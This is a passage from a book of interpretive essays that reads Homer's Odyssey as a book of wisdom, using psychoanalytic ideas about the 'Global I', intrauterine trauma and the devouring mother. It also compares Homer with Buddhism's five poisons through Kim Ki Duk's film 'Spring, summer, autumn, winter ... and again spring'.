to bend his pride and to swear angrily against an unkind destiny.
78
The first reaction comes from a decision to love himself, despite his defeat. The second reaction is a reaction based on hatred that immediately becomes a decision based on hatred, against himself and against life. Many schools of wisdom tell us that humbly accepting our powerlessness is the best weapon we have to acquire true power. “The power to accept one’s powerlessness is the greatest power a person can acquire”. The ability to transform the humiliation of impotence into a full acceptance of impotence is profound wisdom. This path is a sure way to gradually transform an arrogant heart into a humble heart. This is what Homer shows us in Ulysses’ journey through his transformation. In many movies directors (who are the modern storytellers of our society) show us how first the hero is captured and rendered powerless and they show us how the hero is capable of accepting the situation and of finding a way to transform their impotence into true power, that they then can use to defeat their adversary. *****
79
CHAPTER XIX
ULYSSES AS A TEACHER OF LIFE AND OF WISDOM
Homer created the poem the Odyssey in almost the same period that the Bible was written in the West and the teachings of Buddha were put into writing in the East. This means it was written between the sixth and seventh century B.C.E. I do not believe that this is just a coincidence. I believe that the Cosmic SELF, the superior intelligence that governs the world, manifests itself in various parts of globe and inspires poets and prophets, leaving to the identity and creativity of each culture the freedom to organize and develop the inspiration they have received. Homer was not a prophet, he was a poet. The Hindus who created the sacred texts of the Upanishad were also poets. A poet is not a historian and he or she can mix historical facts with imaginary ones and with myths. The goal of every poet is to represent their own inner world and their perception of history and of spirituality as it exists during the time in which they live. Poets rearrange the world according to their own inner vision and this is how they create the “poetic truth” they then offer to their readers, whether they be from their own time or from any time after them. This is what Dante did in his “Divine Comedy”, where with absolute liberty he mixed historical fact with imaginary ideas and mythology, so he could speak to us of his inner vision of life and of his own personal interpretation of the religion of his time. The God of the Bible is a forgiving one, but he is also punishing and vengeful. In the teachings of Buddha, there is no God and what is taught is the road to enlightenment. Homer in his poems speaks of the many gods and of Zeus, who is the father of all the gods who live on Mount Olympus. We do not know what relationship there is between the God of the Hebrews and beauty. It is not mentioned. We do not know what Buddhist thought says about the search for beauty. Wisdom is mentioned, but beauty is not.
80
We do know that Zeus is not satisfied with the mere beauty that he sees in the various gods, and we know he often comes down to Earth to indulge in the beauty of many young women, by using either cunning or violence. We must acknowledge that western and eastern thought are very different. The search for harmony, more than beauty, is very important in the Eastern tradition. While the Bible and the books of Buddha speak of religious teachings that over time became sacred texts, Homer’s poems are not religious texts, they are not sacred to anyone. They are books in poetic form, and even today millions of people appreciate them. They are, however, also books of wisdom, just as the Buddhist texts and the Bible are. I consider my hypotheses as a way to interpret Homer’s books so their wisdom can be understood. The fact that Homer’s poems are books of wisdom was something all the ancient commentators recognized. I am not the first to assert this, and not long ago, Harold Bloom, one of the greatest American literary critics, said this in his most recently published book in Italian, entitled “La saggezza dei libri” ed Rizzoli, 2004 {Where Shall Wisdom Be Found? New York: 2004}. He refers, however, mostly to the Iliad, and I want to mainly explore the Odyssey. I want to do so by exploring some lines of interpretation that are in harmony with the ideas of Cosmo-Art, and specifically I want to: − explore the relationship between Ulysses and Athena to describe how the fusion of the I and the SELF can be accomplished; − explore the relationship between Ulysses and Penelope to describe how to accomplish the fusion between the I and the You; − explore the relationship between Ulysses and Telemachus to describe how the fusion between the I and the Cosmos and the I and Others can be accomplished; − explore the relationship that exists among the internal components of the Global I. These syntheses are, on one hand, an antidote that is necessary to become free of the internal monsters and the five poisons as described both by Buddha and Homer, and, on the other, they are fundamental goals in the alchemical transformation of the I. Ulysses creates a synthesis between the I and the Cosmos as he reaches an ever greater awareness of the close relationship there is between intrauterine and intracosmic life, along with an ever greater ability to create a lasting “concordance” between the I and the SELF, the I and the YOU, the I and Others, the conscious I and the unconscious one. (On this theme regarding the synthesis of the I with the Cosmos see the Cosmo-Artistic interpretation of the film “ The legend of Bagger Vance” by Fatma Pitzalis and Luigi Atella, published in “I Laboratori Corali di Cosmo-Art”, {The Cosmo-
81
Art Group Laboratories} published by the Sophia University of Rome (S.U.R.), Roma 2006). Ulysses creates the fusion between the I and the Cosmos as he gradually understands and embraces ever more the cosmic goal of creating Secondary Beauty, and in this sense he is a teacher of life and wisdom. *****
82
CHAPTER XX
THE STRUCTURE OF THE GLOBAL I I would now like to look at the relationship between the I and its various conscious and unconscious components. The human Global I is made up of a complex structure that we still know very little about. The little that I know about it, beyond what Freud, Jung and Reich have already said, I described in my book: “Theory of the Person and Existential Personalistic Anthropology” (published by Sophia University of Rome, 2009).. There I speak of an I Person, a Corporeal I, a Psychological I and a Transcendental I or Personal SELF that I consider as the center of wisdom found in every human being, from the moment of their conception on. Each one of the components of the I belongs to a single, unique central subject that I call the I Person. The I Person is what makes conscious decisions that it is completely responsible for, even though it is more or less influenced by the other components of the Global I. But there is also an unconscious I Person that makes important decisions. Each one of these components acts according to its own logic that is at times completely different from the logic of the other components. All the decisions that the I Person makes are decisions based on either love or hatred, towards itself, towards others and towards Life. Even those decisions that at first sight are not clear can eventually be seen as decisions based on love or decisions based on hatred. Human actions are not as simple as we would wish they were. Often times, within the same decision, within the same action, motivations and ways of thinking that are completely opposite can blend and it is not always possible to understand all of them and to distinguish them. For example, how do we know when a decision made based on a desire for justice is only a question of justice and not also a desire for revenge? Often it is impossible to separate justice from revenge. Years ago I formulated this principle: “Just as an infinite number of lines that are completely opposite from each other pass through a single point, an infinite number of motives that are completely opposite from each other pass through every human action.”
83
It is not easy to accept this principle, because it requires a lot of humility, a lot of courage and a lot of inner honesty. When these virtues are absent then a situation that I call the “existential lie” of the Global I is created. The existential lie becomes a part of the I that lies to itself without knowing it is lying. In Shakespeare’s Hamlet we have an excellent example of this with the king and the queen that judge Hamlet’s crazy behaviour and don’t realize that they themselves are assassins. A person can spend their whole life immersed in the existential lie and not know it. They might realize it when they are on their death bed, as happens in Almodovar’s film “High Heels”, when the protagonist’s mother confesses to the priest and what she sees as truth he sees as a lie and vice-versa. Sartre is even more severe than I am and he accuses the I not of lying without knowing it but of lying and not wanting to admit that it is lying. He calls this “bad conscience”. In this case what the I says to itself or to others is full of obvious contradictions. Truth and lies are mixed together so as to be practically inseparable. Homer gives us a clear example of one of Ulysses’ existential lies when he recounts how Ulysses, after returning to Aeolus after his companions open the bag of winds, blames first a sleepiness that came suddenly over him, then blames his mad companions and finally bad luck, but he never blames himself (v. Od. X,19-79). Aeolus briskly sends Ulysses away after hearing this irresponsible story, telling him that he does not want to help someone whom the gods are against. But even this is one of the many lies that Ulysses tells throughout the Odyssey and it is a lie that is different from the others, because this time he does not want to admit that he is lying, for example when he lies to Athena when he is in Ithaca because he doesn’t want her to recognize him. Aeolus accuses him of being irresponsible but Ulysses does not want to admit this or own up to it. I know this is true because I know that Ulysses could have immediately told his companions what the bag contained, but he didn’t do so. Ulysses could have avoided staying at the tiller for nine days and nine nights straight without any relief but he didn’t do that either. Only he is responsible for these two decisions. We could say that Ulysses wanted the honor of reaching Ithaca as soon as possible, but this does not justify his actions. In chapter XXII I discuss how Ulysses was envious and how convenient it is for him to displace his envy on to his companions and not recognize it as being inside of himself.
84
Here we see how the logic of Ulysses’ prideful I conflicts with his own wisdom, which he demonstrates so eloquently in other parts of the poem. We can also see how one way of thinking overwhelms the other and creates dire consequences. I do think, however, that when Ulysses is meditating on whether or not to throw himself into the sea and drown, he is finally seeing his responsibility. If we analyze in the same manner Ulysses’ decision to stay in Polyphemus’ cave against the will of his companions, we can see two ways of reasoning that are completely opposite. One is the reasoning of the fetal I, that was devoured by the mother in the womb, and that still loves to be devoured (repetition compulsion as Freud would call it). The other is the reasoning of Ulysses’ unconscious I Person, which experienced trauma that it has no conscious memory of, but wants to bring what is unconscious into consciousness. By doing so he can better understand himself and eventually transform himself, and this is the highest type of wisdom. How can we break our complicity with the devouring mother if we don’t first become aware that it exists? By repeating the same type of situations over and over again perhaps we are stuck in repetition compulsion, but it could also be an attempt by the adult I to make the passage from total powerlessness before the mother to a real power, so as to destroy the devouring mother and the I’s own complicity with her (the Suitors must be destroyed and Homer speaks of this constantly throughout the whole poem, from the beginning to the end). One example of complete powerlessness is when Ulysses runs into the Lestrygonians, who devour the crews from eleven of his ships. Another example can be seen when Ulysses is suddenly attacked by Scylla, even though Circe had warned him about it, and loses six of his companions all at once. An example of true power is when Ulysses exterminates the Suitors, who have been devouring his goods and courting his wife, with the help of Athena. Telemachus, Eumeus and Philoetius. We can also see his power when, with Hermes’ help, Ulysses manages to get Circe to succumb to his will and he convinces her to restore his companions to human form. Instead with Calypso, first of all Ulysses’ fetal I has complete control over his adult I, anchored as it is to the seductive pleasure of intrauterine incest. It forces him to accept seven years of being imprisoned on her island, but slowly his adult I takes control over his fetal I and its complicity with the seductive and castrating
85
mother. By doing so he finally manages to transform Calypso and get her to free him so he can leave for Ithaca. We cannot understand Ulysses very well if we don’t develop our knowledge of the Global I and its components, and the various motivations and ways of reasoning that are layered on top of each other. This knowledge brings us to a deeper understanding of how necessary a dialectical approach is, which allows the I to learn and accept responsibility if it wants to have control over its life and transform it into a work of art. A dialectical approach means knowing how, on one hand, to surrender to the expectations of the fetal I and on the other to know how to dismantle them when the time is right. This is what allows a person to become free, truly in control of their own life. The fact that Ulysses stays with Circe for a year seems very similar to what Herman Hesse describes in his Siddhartha, where Siddhartha goes for a certain time to stay with a courtesan. He must do so before he can pass to a higher level along his spiritual path. In my opinion, Ulysses was amply castrated by his mother Anticlea, which makes it impossible for him to free himself of the maternal imago and become a man capable of loving a woman. First he must re-establish contact with his sexual drives and learn to extract from them all the positive energy they contain. We can not fly towards the spiritual dimension if we don’t first come into contact with our animalistic instincts and learn to transform them. The Christian ascetics do not agree with this theory but I prefer Indian wisdom and the wisdom of Homer when dealing with this subject. They seem to me to be the only true antidote to the hypocrisy people must live with when they dedicate themselves to perfectionism and create alienation within their very Self. One thing is knowing how to become “eunuchs for heaven” and another thing is castrating oneself because this is what the mother has commanded because she wants to be her son’s only woman and be loved by him for all his life. When there is dependence on the internalized mother instead of freedom from her influence there can be no true spiritual path. Even less possible is an alchemical process which requires a synthesis of opposites and a synthesis of all the energies that a human being possesses. Ulysses shows that he has become a free man when he listens to his companions’ request and decides to leave Circe and go on his way toward Ithaca.
86
He is not yet a man who is quite completely free at this point in his life, however, and so Homer invents the island of Ogygia, found at the edge of the world, where Ulysses remains imprisoned for seven long years. At night he makes love with Calypso and by day he goes off to the rocky shoreline, longing for his wife. There is no contradiction here: the fetal I wants to stay in the deadly embrace of the mother and the adult I wants the freedom to love a woman who is not the mother that has seduced him his whole life. How much suffering one has to endure before this freedom can be found! And as usual, one must have a dialectical approach, not a linear one, to be successful in finding it. I know that what I have written here is not easy to understand. It is important to follow one’s own internal Master to find out what the truth really is. An understanding of life that is only intellectual does not get anyone anywhere. *****
87
CHAPTER XXI
THE FIVE POISONS ACCORDING TO BUDDHA AND ACCORDING TO HOMER “Spring, summer, autumn, winter ... and again spring” A Film by Kim Ki Duk
To examine Buddhist thought I won’t use books written on this topic. Instead I will use a beautiful, intense and profound movie by the Korean director Kim Ki Duk, “Spring, summer, autumn, winter ... and again spring”. This author illustrates the existence of two realities, as seen in Buddhist thought and on the type of interpretation I know how to make of it: one that is illusion and of this world and one that is beyond the illusion and that represents the “ultimate reality”, where all those who reach “enlightenment” end up. In the film there is a door that separates the worldly reality on one side, from the ultimate reality that is represented by the pagoda found in the middle of a lake where a Buddhist monk lives. The monk’s home can also be seen as a reality that is isolated from the rest of the world, a reality that is between two realities. In this intermediate reality it is easier for a human being to follow a spiritual path that will bring him or her to the ultimate reality, after she has completely abandoned the illusory reality. The Buddhist monk has absolutely no disdain for the worldly reality; he knows that it can contain poisonous herbs that can kill, but it also contains medicinal herbs that can save lives. It is important to learn about both and how to use the medicinal ones and avoid the poisonous ones. It is thus legitimate to think that the “ultimate reality” cannot exist without the illusory reality and this is a mystery that Buddhism does not know how to explain. Every human being that comes into the world has “five poisons” inside themselves. The list of these poisons can vary from one commentator on Buddha’s teachings to another and there are thousands and thousands of pages written about this. What is certain is that it is not possible to reach enlightenment if one does not first free themselves of these poisons.
88
Over time, Buddhism has branched out into many different schools of thought. The types of Buddhism that are most known in the west are Tibetan Buddhism (the Dalai Lama), Zen Buddhism (for example “Zen and the Art of Archery”) and the Buddhism of the Japanese monk Nichiren. The first poison is the illusion that makes us believe that the reality we perceive with our senses is the only true reality. The second poison is desire. Desire creates dependence and dependence generates violence and thoughts that bring death with them. The third poison is rage and rage produces homicidal and suicidal urges. The fourth poison is pride and the fifth is greed. The child who lives with the monk clearly expresses how much he is driven by these five poisons while he is growing up, and the monk teaches him the path to free himself of them. The title and the magnificent scenes in the film tell us that we see only one reality, that we call nature, but although nature has four ways of expressing itself according to the different seasons - spring, summer, autumn and winter – we do not think there are four different natures but only four different ways in which the same nature expresses itself. Human reality can express itself in different ways that are not perceptible to the senses. Sexual desire, that is what overcomes the young monk, is in itself not something to feel guilty about, but it can induce violence (and this is cause for guilt ), which he uses to seduce the girl and to impose his belief that she must belong only to him and to no other. If she were to suddenly say that she loved another, he would be overcome with pain, jealousy, anger and then a desire to kill, that obeys only his wounded pride. The director points out that this is one of the ways we can see how desire generates thoughts and decisions that bring death. How is it possible to free oneself of the five poisons and acquire the five elements of wisdom? First of all with constant, daily meditation, in humble devotion before the statue of the Buddha. But this is not enough. Pride and homicidal impulses become quickly evident in the little boy, who is about seven or eight years old, when he kills a fish and a snake as a game. The monk does not chastise or reprimand him, but he puts a stone on his shoulder while he is sleeping and tells him: go now and see if the animals you tied a stone to are alive or dead. If they are dead you will always carry with you a stone on your heart.
89
The child understands and confesses that he has made a mistake, but when he has grown up he will do it again in a much worse way, without even realizing he is doing it. One day a woman comes to the monk’s pagoda with her adolescent daughter in tow, who speaks to no one and is completely closed into herself. The monk takes her in to cure her. Slowly but surely the monk’s disciple seduces her and has sexual relations with her. One day the monk says the girl is cured and her mother comes to take her home. At this point the young disciple cannot stand the pain of the separation, and he abandons his Master and returns to the world. Desire generates dependence and with it thoughts of death. Out in the world things don’t go as the young man thought. The girl falls in love with another man and leaves him. Terrible jealousy and uncontrollable pain overtake him and he kills the girl. After this he runs away and returns to his master, where the intense desire to kill himself overtakes him. His master calmly hits him several times on his back and then he ties him on the roof with a rope, until a candle slowly burns through the rope and he falls to the ground. The master then writes on the wooden boards that surround his house with a pen. What does he write, or rather paint? We are not allowed to know because we don’t know the Korean language. He probably writes Buddhist teachings or, I believe, he writes a synthesis of his life as a work of art. When two policemen come to arrest the young murderer, the monk tells them that it is not yet time. The young man must first carve with a knife all the letters that the master painted with a brush. It will take a whole day and a whole night and after that they can take him away. The two policemen not only do they not complain but they show deep respect for the monk. Slowly but surely they help the young man in his work. At the same time the master paints all the letters that the young man has carved with different colors, this time using his cat’s tail as his brush. The inner master slowly transforms the banality and the evil of life into a work of art, but it takes time.
90
Now the police can take the young man away. The years go by and the monk gets older and older, until one day he takes his boat out to the middle of the lake and there ends his earthly existence. His body no longer serves him, nor does his individuality: his spiritual path has come to an end and he can blend into the One, just as a drop of water blends into the ocean and stops being a drop, because it has become one with the sea. This is what I have read in books that teach about Buddhism. While his body is burning and the boat sinks, a snake quickly leaves the boat and swims towards the monk’s house to make it its permanent home. All through the film there are many different animals who live in the monk’s house. First there is a little dog, then there is a rooster, then there’s a cat, a serpent and lastly there is a turtle. Each animal has symbolical meaning. I can only try to describe these meanings according to what I know. Human beings need their animalistic components while they travel the path that will take them to the ultimate reality, reached by becoming Enlightened. The dog represents the animal part of us that allows us to be tamed and is our friend. Then there is the rooster that represents pride, and pride can be bridled but it cannot be tamed. The cat represents that part that is animal and wild that allows itself to be only partially domesticated with much effort. When a person manages to blend the animal with the spiritual and the artistic parts, then their life has truly become an immortal work of art that can be transmitted from one universe to another, from one person to another, from a master to his disciple. Then the turtle comes along, which is a symbol of eternity and immortality. But there is yet something else that is shown in the film. When it is winter and all the water around the little temple has become solid ice, a young woman with her head covered with a veil appears, carrying a baby who is crying desperately (maybe this woman was seduced and wants to get rid of the fruit of her guilt?). The woman goes into the temple and puts the baby at the feet of the statue of the Buddha, where the serpent is curled.
91
The young monk observes all of this and he nears the woman, but he is incapable of saying even one word of comfort or to offer his help. The woman goes out and walks away, but there is a hole in the ice around the pagoda and the woman falls in and dies. The young monk, who has already done much to purify himself of his guilt and has also served his rightful sentence according to the law, is shocked by this and he remembers what his master had told him long ago: if someone dies because of you, you will always carry a stone on your heart. He then ties a rope around his waist with a huge round stone tied to it, picks up a statue that looks like a Buddha but I am not sure it is, and climbs with great difficulty to the top of the mountain that looms over the lake. When he gets to the top he bends in prayer while the sun comes up over the mountain range in the distance. I do not know how to interpret these last scenes in their full meaning. What I do understand is that only after the death of the veiled woman does he understand the violence he used against the girl that had been entrusted to the monk, and he understands that he is the one guilty for what happened afterwards, and not the girl. He also understands that he is still carrying a stone on his heart and he must do something to free himself of it. The fact that he has become deeply aware of his guilt is the sign that he has conquered humility and now he can understand that spiritual acrobatics are much more important than the physical ones he has learned through practicing the martial arts. To be able to recognize one’s guilt means being able to accomplish spiritual acrobatics, and there are very few who are capable of doing so, because their hybris and arrogance are always right on guard. These are what keeps people from achieving true humility and true wisdom. This does not happen to the older monk but the director tells us that we can look at his film also in this other way: the older monk lives again through his spiritual path through the actions of the younger monk. Through him he can reexamine his whole life and see how he moved from guilt to enlightenment. Is this the true work of art? Is this the true beauty that can reach the tops of mountains and from there voyage from one universe to the next? When a drop of water falls into the ocean, it is true that it stops being a drop and becomes one with the ocean. But it is also true that a work of art is something much greater than the ocean and the ocean cannot do, despite its immensity, what
92
a human being can do with her life as an artist of her life and of the life of the universe. In a symphony all the musical notes blend together into a single reality that is the symphony itself, but the notes themselves do not disappear. They maintain their individuality and they stay there on the sheet of music so they can guide the director and the musicians who are playing. Here we have both singleness and multiplicity, where in the ocean there is only singleness. This is what I object to in Buddhism, which I nevertheless respect enormously. Now let’s look at Homer’s thought as it appears to my way of interpreting the Odyssey. For Homer there are not two realities, one that we see and one that is beyond this world. There are, instead three: one belongs to intrauterine life, one belongs to intracosmic life and one that belongs to ultracosmic life (the cave of the nymphs). The gods are not found on one side and humans on the other: instead, there are cosmic and human forces and both are called to collaborate with each other and create a third reality. Cosmo-Art calls this third reality Secondary Beauty and it is what allows humans to go from intracosmic reality to ultracosmic reality. Throughout the numerous commentaries on the Odyssey, written from the time of ancient Greece up until today, which Filippomaria Pontani gives an accurate catalog of in his large volume entitled “Sguardi su Ulisse” {Looking at Ulysses}, published by Edizioni di storia e letteratura, Roma 2005, I found only one mention of a “secret, hidden beauty” (apòtheton kàllos) on page 157, by the author Nicetas (11th century). I wonder if he was speaking of the same type of beauty that I am. Otherwise, all the other many authors quoted often only allegorical, geographical, cosmological and ethical interpretations of Homer’s thought. They all agree, however, that Homer’s poems are books of wisdom. Cosmic forces are within human beings but they are described as personified divine forces that are outside of humans and keep up a dialog with them. This is not a theatrical metaphor, it is a poetic one. At the time of Homer, the Greeks took metaphors literally and believed in the gods. Today we know instead that poetic metaphors are speaking of a reality that is hidden within us and is not found on Mount Olympus, as the ancient Greeks believed.
93
Homer also believes that humanity carries within five poisons and that secondary beauty cannot be created unless one suffers and toils to free oneself of them. These poisons can be identified as follows: Hybris and rage Repressed hatred and homicidal tendencies Greed and the existential lie Envy and suicidal tendencies The infinite arrogant demands of the fetal I Some of these poisons break out two at a time and sometimes they break out all at once, especially when repressed hatred kicks into action. Some of these poisons were amply described in the Iliad (Agamemnon, Achilles, Ajax, Paris etc.), but in the Odyssey there are some that were not represented earlier. For Homer, access to wisdom can be obtained by maintaining a continual dialog between the Global I and the SELF, both the Personal SELF and the Cosmic SELF, as represented by Athena, Zeus, Hermes and Poseidon, divinities that are mentioned often throughout the poem. Ulysses, who has his five poisons just like everybody else, obtains wisdom by talking with and listening to the wise advice offered to him by the gods, who nevertheless do not save him from any amount of suffering or from any opportunity for Ulysses to bang his head against them. On the other hand, his companions do not do this and for this reason they all die as a result of their insanity. Aegisthus doesn’t listen either and after killing Agamemnon he too dies because of his madness. It is ridiculous to think that evil befalls human beings because of the gods. To the contrary, evil is produced when human beings refuse to listen to the wise advice they receive from them. In Homer there is no god that offers rewards or punishments, like in many religions throughout the world. Every individual is the cause of the evil that befalls them. Homer says, however, that there are other evils that come from traumas experienced during intrauterine life, besides those cause by human vices. It is essential to re-live all these traumas many times during one’s adult life so as to become free of them once and for all.
94
These evils are personified in the devouring mother, the seductive and castrating mother and by the phallic mother, who believes she has power over the life and death of her children. There are also the evils that rise from the fetal I, that is often in complicity with the mother and can completely suffocate the adult I. In the Odyssey these mothers are portrayed in various ways: Polyphemus, the Lestrygonians, Circe, the Sirens, Scylla and Charybdis, Calypso and finally the Suitors, whose massacre is described in half of the poem’s books. Each of these figures has more than one symbolic meaning. The Suitors are the utmost concentration of all the possible evils that has ever been described. To be able to recuperate the beauty of life, it is an absolute necessity to free ourselves of the five poisons and of the evils that come from the trauma experienced in the uterus. It is equally necessary to do so to be able to free all the creativity that humanity possesses and which can help us decide to become artists of our lives and of the universe, capable of creating secondary beauty. Now let’s come to the point. The path of wisdom would require that each one of us feels compelled to ask ourselves where these five poisons are present in our own lives and what we must do to become aware of them, so we can realize that we are the ones who poison our own lives, and not others. The type of mentality that usually governs our lives is that we are all good people: we don’t steal, we don’t kill and we don’t hurt anyone. And there’s even more: we are all perfect and if someone criticizes us for something we are immediately offended and we respond angrily. If we really want to create a new type of beauty, if we really want to undertake a path of spiritual growth, we must ask: how can we penetrate the dense fog that surrounds us and discover how we are controlled by these poisons? When we work together in the Cosmo-Art group Laboratories, we always attempt to create a Choral SELF where everyone’s best energies are condensed and which can be accessed by anyone. If we were to all ask each other: how did you manage to discover the five poisons? And if we were all willing to give the gift of how we managed to become aware of them, with generosity and humility, this would indeed be a great event for the single organism we are creating within the Cosmo-Artistic movement. This indeed would mark the existence of a Choral SELF that is full of incomparable richness. I have faith that slowly but surely we can reach this goal and I entrust it to the heart of each one of you.
95
How did I do it? I always kept as the basis of my own spiritual path Saint Augustine’s affirmation ( “Nihil humani a me alienum puto” that translated means: there is no evil that I see others do that I myself am not capable of doing). Furthermore, every time I have been hurt by someone else’s evil I have always looked for where that evil was present in my life, and I always found it. It has always been more painful and difficult to then decide to rid myself of it, without expecting to have a magic wand that would do so in one simple sweep. Liberation never happens in a linear way, it comes about dialectically. First the poison must somehow be expressed, then it must be recognized and taken responsibility for, by developing a profound awareness that the poison is ours and belongs to no one else. Only after having done this can we eliminate it from our life, every time it is necessary to do so. In the discussion I will undertake later on about the way Ulysses behaves when confronted with his own envy, when he returns to Aeolus after his companions have opened the bag of winds, it is completely evident how he oscillates between owning up to and negating his madness, by placing the blame for it on sleepiness, on his companions or on the gods. This type of path is in complete contrast with the Christian perfectionistic ideal that, in my opinion, is what today corrodes the West. It almost always generates either a total alienation from oneself, or an unlimited and universal hypocrisy. It’s insane to want to attempt to obtain a perfection that renders us inhuman instead of human. It is wise to want to recuperate lost beauty and then become capable of creating a new type of beauty that does not yet exist and that Life is calling us to bring forth. *****
96
CHAPTER XXII
WHY DOES HOMER CHOOSE ULYSSES? This question is an important one, but first we must ask another one. Why did Homer write the Odyssey? The Iliad is an epic poem that celebrates the heroism of the Achaeans, strong protectors, and the Atreidae. This epic poem was sung and celebrated all throughout the courts of Greece and was listened to with great enthusiasm by the Greek people. But the Odyssey is not an epic poem and it is possible that the Court of Ithaca never even existed. So why dedicate a poem to Ulysses? There was no one interested in commissioning such a work and how could he ever hope to find an attentive audience for it? It’s true that there was a vast amount of myths created around the figure of Ulysses, but what is it that inspires Homer to write a poem that is so very different from the Iliad? The only answer I can find is that works that are produced by great artists come from their inner world and they are the result of a poetic necessity that inspires the poet to write, without asking many questions. Homer became a fine expert on the human condition and a very attentive explorer of the meaning of life that originates in a cosmic goal. Homer penetrated the secrets and traumas of intrauterine life and he did so not through scientific research, but through his poetic intuition, and he wants to share his discoveries with others. Homer understood how madness and wisdom both reside in the human heart and he wanted to write a poem to celebrate wisdom and condemn madness. Homer knows that pain is a cosmic force and that this force, together with wisdom and art, can create an immortal type of beauty that not even the gods possess. Homer knows that he is an artist and that he can create great poems, but he knows above all that human beings, if they want, can become artists of their own lives and artists of the universe. He knows that this type of art is immensely superior to the art of his poetry. From his magnificent poetry emerges an immortal figure that is neither a warrior nor a poet, but rather becomes a new type of artist who, with great courage, knows how to make many syntheses: between the intrauterine world, the outer world and the ultracosmic world; between the world of the I and the world of the You; between the world of the I and the world of the Personal SELF and the
97
Cosmic SELF. By making a synthesis between human forces and cosmic ones, he creates the glorious concordance that everyone dreams about and that very few manage to achieve. This man Ulysses, who is no longer the Ulysses of the myths but is Homer’s Ulysses, will end up fascinating many people during his own time and throughout the centuries to come. It will take indeed centuries for Homer’s Ulysses to be understood in all his depth and greatness, but this is not important. There will always be Athena, somewhere, who keeps whispering the truth and one day humanity will understand. Now let’s try to understand why Homer chose Ulysses to impersonate himself and his poetic vision. Homer says that Ulysses is an artist who creates his own life and the life of the cosmos, and he is a teacher of life for people of all eras. Why? Because Homer himself learned how to transform himself and his own darkness in a way that few others portrayed in world literature have been able to. The first Ulysses suffers from envy. That he had a problem with envy becomes very clear when Ulysses almost insults Eurialus, the Phaeacian prince, when the games are about to begin: Certainly not to all men do the gods give wonderful gifts, such as beauty, intelligence, eloquence. One can be not much to look at, but a god makes his speech beautiful; and everyone is fascinated by him: he speaks with confidence, with suave ability; he shines in his discourse, and when he walks through town, they look at him as though he were a god. Another man, instead, has the beauty of the gods, but his words are not crowned with grace. You have splendid beauty: a god could create nothing better: but your mind is empty. You have inspired rage in my soul by speaking so poorly. I am not new to the games, as you blab about, but I was – I believe – one of the first, when I was full of vigor, and had strength in my arms. Now I have been won over by misfortune and evil: I have suffered tremendously in the wars of men and on the frightening waves. But even so, having suffered so much, I will excel at the games. (Od. VIII, 167-184)
98
It’s clear that Ulysses is speaking of himself and of how he suffers because he is not one of the most beautiful men, he who wants to be first in everything. He was not given the gift of beauty, he was given the gift of speaking, but this gift does not remove the suffering he feels for his lack of beauty. He is fully aware of this when he goes to Sparta and with the other Achaean princes he asks Helen’s hand, who is the daughter of Tyndarus. It is impossible to think that Helen could choose Ulysses among all the other princes. This is why Ulysses uses all his cunning to not have to return home with empty hands. When Tyndarus cannot decide who to give Helen to, because he doesn’t want anyone to be disappointed, Ulysses is ready with a plan, that he had already thought up. Tyndarus has a niece, the daughter of his brother Icarius, Penelope, who is also very beautiful. Ulysses proposes a pact to Tyndarus: you convince Icarius to give me his daughter for a wife and I will solve the problem for you. He tells him, “Let Helen choose who she wants to marry and all those who are excluded will make an oath that if Helen should ever be in danger, everyone will go to her aid” Tyndarus and the princes accept the solution proposed by Ulysses and Helen chooses Menelaus. Ulysses takes Penelope away with him on his cart, even though she does not want to go and is angry towards her father who has betrayed her. As we said in the beginning, here we are witnessing an extraordinary event. For the first time in human history there is someone who swears to be willing to fight for beauty, should this beauty ever be in danger. There are many who fight for justice, but how many would be willing to fight for beauty? How many ask themselves every day: what do I want to do, create beauty or ugliness? Against her wishes, Penelope is given to Ulysses to be his wife. Was there love in this choice? No, there was only bargaining and violence. This is one of the reasons that can explain why Penelope is so hard-hearted when Ulysses returns to Ithaca and she does not want to recognize him. Ulysses does not love himself. He carries this in his own name, Odysseus, that translated means: “he who hates himself and is hated by others”.
99
His grandfather Autolycus, who was hated by everyone because he was a thief, gave him this name. But there is an ever greater reason why Ulysses does not love himself: even though he does not know it, it is probable that he is not really the son of his father Laertes. The night before Anticlea’s wedding, Autolycus supposedly asked his daughter to spend the night with Sisyphus. Ulysses was supposedly conceived from this unlawful union. Here a question arises: when Anticlea realizes she has gotten pregnant after sleeping with Sisyphus, does she accept the pregnancy, or does she reject it? And if she rejects it, why is she afraid that her guilt will come to light? Does she attempt to abort? I believe so, because otherwise there is no explanation why Ulysses has to face monsters who are assassins (Polyphemus, the Lestrygonians, Scylla and Charybdis) and people (the Suitors, Penelope) who plot to kill him. I also think, however, that Anticlea, having been unsuccessful in aborting the pregnancy and oppressed by her guilt, establishes with the son she is carrying a total enmeshment. This is a second reason why Ulysses will end up having lots of problems with women. How else can we explain why Agamemnon and Achilles receive two beautiful young slaves, Briseis and Criseis, as war booty (and will fight to the death over one of them), whereas Ulysses receives none? During the ten years spent in Troy it is never mentioned that Ulysses has a woman beside him. Why is it that Ulysses, who is the one mainly responsible for Troy’s fall with his cunning idea of the Trojan horse, receives gold and riches as his booty but does not get a slave? They give him Hecuba, the old queen, the wife of Priam. Isn’t this a cruel joke? What is a warrior going to do with an old woman? In the Odyssey, however, there is no trace of Hecuba alongside Ulysses, just as in the Iliad there is no mention of the fact that Troy fell thanks to Ulysses. The brilliance of the Trojan horse is narrated in the Odyssey by Demodocus, after Ulysses explicitly asks him to do so (Od.VIII, 486 and following verses). The intense enmeshment that is established between Anticlea and her son must have caused Ulysses enormous sexual problems that he manages to resolve only after having spent a long time with Circe the sorceress and the goddess Calypso.
100
How can we affirm this? A first reason can be found in the fact that Anticlea dies because she cannot handle Ulysses’ prolonged absence. She was an anxious, possessive mother, just like many are in the Mediterranean area, and she could not live without her son near her side. This is what Eumeus tells Ulysses about how his mother died: She wore herself out with suffering over her glorious son, and died a very sad death (Od. XV, 358-359) We could find another reason to back our reasoning in the transformation of Ulysses’ companions in swine. When sexuality is repressed for a long time, it can explode all at once and can drag a man into abnormal sexual practices. At this point it is easy for a woman to transform a man into a lustful pig. A third reason, that may find proof only for those who specialize in the analysis of the unconscious, is that the first time that Ulysses leaves Ithaca and his mother he has a bad accident: while he is hunting on the Parnassus, a wild boar attacks him and leaves a deep gash in his thigh. Is this a coincidence, a lack of attention on Ulysses’ part, or was he feeling deeply guilty for having detached from his mother, and he had to punish himself? No matter how we look at it, this wound is a visible sign of how he was invisibly castrated. The first Ulysses is not a free man. Freedom means being in complete control of oneself and not being controlled by any other people or things. Ulysses is controlled by his mother and by the intrauterine incest that has kept him tied him to her since before he was even born. This is why he encounters possessive women like Circe and Calypso. He is controlled by the trauma he experienced in the womb and by 